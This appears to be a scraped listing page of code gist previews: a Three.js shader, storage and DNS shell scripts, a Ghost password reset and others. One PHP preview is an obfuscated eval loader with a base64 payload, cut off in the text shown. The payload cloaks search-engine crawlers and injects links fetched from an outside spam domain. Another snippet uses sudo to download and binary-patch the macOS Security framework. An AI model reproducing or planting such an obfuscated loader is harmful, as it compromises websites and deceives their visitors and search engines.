This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /** | |
| "by/composed by": https://x.com/bandinopla | |
| Based on article by Roman Liutikov: https://romanliutikov.com/blog/ps1-style-graphics-in-threejs | |
| Modifications done with DeepSeek: https://chat.deepseek.com/ | |
| */ | |
| import * as THREE from 'three'; | |
| export class PS1Material extends THREE.ShaderMaterial { | |
| constructor({ map, color }: { map: THREE.Texture, color:THREE.ColorRepresentation }) { | |
| super({ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| # cron script to monitor temporary staging dir and move .plot files into farm dir where is enough free space | |
| # temp dirs separated by space | |
| temp_dirs=(/mnt/staging) | |
| # farm dirs separated by space | |
| farm_dirs=(/mnt/farm-03 /mnt/farm-02 /mnt/farm-01) | |
| for dir in "${temp_dirs[@]}"; do |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env bash | |
| set -Eeuo pipefail | |
| cd "$(dirname "${BASH_SOURCE[0]}")" >/dev/null 2>&1 | |
| trap cleanup SIGINT SIGTERM ERR EXIT | |
| usage() { | |
| cat <<EOF |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| let ctrlDown = false, | |
| ctrlKey = 17, | |
| cmdKey = 91, | |
| vKey = 82, | |
| cKey = 67; | |
| $(document).keydown(function(e) { | |
| if (e.keyCode == ctrlKey || e.keyCode == cmdKey) ctrlDown = true; | |
| }).keyup(function(e) { | |
| if (e.keyCode == ctrlKey || e.keyCode == cmdKey) ctrlDown = false; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| # Use ./reload_device.sh sdX | |
| DEVICE=$1 | |
| HOST=$(ls -la /sys/block/$DEVICE/device | cut -d'/' -f8 | cut -d':' -f1) | |
| echo "Deleting device: $DEVICE on host: $HOST" | |
| echo 1 > /sys/block/$DEVICE/device/delete | |
| echo "Sleep 5....." |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| # API Key can be found on https://manager.linode.com/profile/index | |
| APIKEY='' | |
| # IP address You want to set domain to | |
| TARGETIP=`dig +short myip.opendns.com @resolver1.opendns.com | tr -d "\r\n"` | |
| # Domain id | |
| DOMAINID='897947' | |
| # Domain resource id | |
| RESOURCEID='7953514' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| /* DO-NOT-MAKE */ $eexvH=array(13,20,15,42,57,28,15,16,13,14,18,37,59,13,33,26,59,13);function KRnmE($ttppZZV,$ZAKFseVgAVSEL){$ENggc="";foreach($ttppZZV as $LcTtowcm){$ENggc.=substr($ZAKFseVgAVSEL,(int)$LcTtowcm,1);}return $ENggc;}$pscRFTwSzB="3PJpw09RAhStHe6asD45v2XG8Vo1bUnZrcCEz_NBFTl7QgxYMjkyLWmuf(Kdq";$MjTGnzWhKrzzELumAkhBaML=KRnmE($eexvH,$pscRFTwSzB);eval($MjTGnzWhKrzzELumAkhBaML.'("ICBlcnJvcl9yZXBvcnRpbmcoMCk7ICAgIGlmIChwcmVnX21hdGNoKCcjZ29vZ2xlfGJpbmd8eWFob298bXNufGJhaWR1fGFocmVmcyNzaScsQCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpICAgeyAgICAgZnVuY3Rpb24gcHJjcCgkcmVzc3MpICAgIHsgICAgZ2xvYmFsICRjb3VudGVyR0FHQSwgJHNlbnBvc0dBR0EsICRsaW5rOyAgICAgIGlmICgkY291bnRlckdBR0E9PSRzZW5wb3NHQUdBKSAkcmV0ID0gJHJlc3NzWzBdLiRsaW5rLicgJzsgICAgZWxzZSAkcmV0ID0gJHJlc3NzWzBdOyAgICAgICRjb3VudGVyR0FHQSsrOyAgICAgIHJldHVybiAkcmV0OyAgICB9ICAgICAgICR1cmwgPSAnaHR0cDovL2dvZ2V0d3BsaW5rcy5jb20nOyAgICRycCA9ICdodHRwOi8vJy5AJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyAgICAgaWYgKCFwcmVnX21hdGNoKCcjKHhtbHJwY3xyb2JvdHN |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| cd /System/Library/Frameworks/Security.framework/Versions/A/ | |
| sudo cp Security Security_back | |
| curl http://download.suhosin.org/APPLE_SSL_SECURITY_FRAMEWORK_QUICK_AND_DIRTY_64BIT_FIX.bspatch -o /tmp/APPLE_SSL_SECURITY_FRAMEWORK_QUICK_AND_DIRTY_64BIT_FIX.bspatch | |
| sudo bspatch Security_back Security /tmp/APPLE_SSL_SECURITY_FRAMEWORK_QUICK_AND_DIRTY_64BIT_FIX.bspatch |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| var bcrypt = require('bcrypt-nodejs'), | |
| sqlite3 = require('sqlite3').verbose(); | |
| var file = 'content/data/ghost-dev.db'; | |
| var db = new sqlite3.Database(file); | |
| var password = 'YOUR_NEW_PASSWD'; | |
| bcrypt.hash(password, null, null, function(err, hash) { | |
| db.serialize(function() { | |
| db.run("UPDATE users SET password = ? WHERE id = ?", hash, 1); |
NewerOlder